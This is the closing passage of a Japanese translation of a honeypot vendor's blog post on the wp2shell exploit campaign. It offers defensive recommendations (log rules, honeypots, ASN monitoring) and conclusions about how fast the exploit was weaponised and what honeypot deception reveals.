  1. 上記のSigmaルールとSuricataルールを導入し、7月17日以降のログに遡って適用してください。エクスプロイトが監視開始前に実行されていた場合、その証拠が残っているのはログだけです。
  2. ハニーポットを導入してください。脆弱なバージョンを模倣したBeelzebubインスタンスは、自社の境界から誤検知ゼロでエクスプロイトのテレメトリを得られます。正当な通信がそこに接続することは決してないからです。
  3. 上記に挙げたASNを監視してください。これらは必ずしも悪意あるものだけではありませんが、活発な一斉攻撃が進行している際には、優先順位付けにおいて有用な高信頼度の指標になります。

結論

wp2shellは、現代の脆弱性ライフサイクルを1週間に圧縮したものです。金曜日にパッチ、日曜日には武器化されたエクスプロイト、月曜日には公開PoC、火曜日にはインターネット全体への一斉攻撃。「詳細は非公開」から「実際に流通する動作するエクスプロイト」までの48時間というギャップこそ、防御側が心に刻むべき数字です。

ハニーポットのデータから得られた2つの詳細は、このニュースサイクルよりも長く記憶されるべきものです。

1つ目は、「ブラインド」と記載されていたインジェクションが、実際にはブラインドではなかったという点です。勧告の分類は脆弱性そのものについては正確でしたが、エクスプロイトについては誤っていました。攻撃者はデータを直接返すハイドレーションのパスを見つけ出したからです。勧告の文言だけを前提に構築された脅威モデルは、時間の経過とともに劣化してしまいます。

2つ目は、欺瞞の忠実度が、得られる情報の質を決めるという点です。興味深いエンドポイントに対して401を返すハニーポットは、スキャナーのノイズしか収集できません。整形された空のバッチレスポンスで200を返すハニーポットは、ペイロードそのもの、抽出ハーネスの設計、カナリアの形式、そして複数の独立したエクスプロイト実装のフィンガープリントまで収集できます。

欺瞞は受動的なものではありません。適切に実施すれば、防御側にとって最も安上がりな攻撃的インテリジェンス収集手段になります。


参考文献

翻訳元: https://beelzebub.ai/blog/catching-wp2shell-in-the-wild/

本記事は beelzebub.ai の記事を翻訳・要約したものです。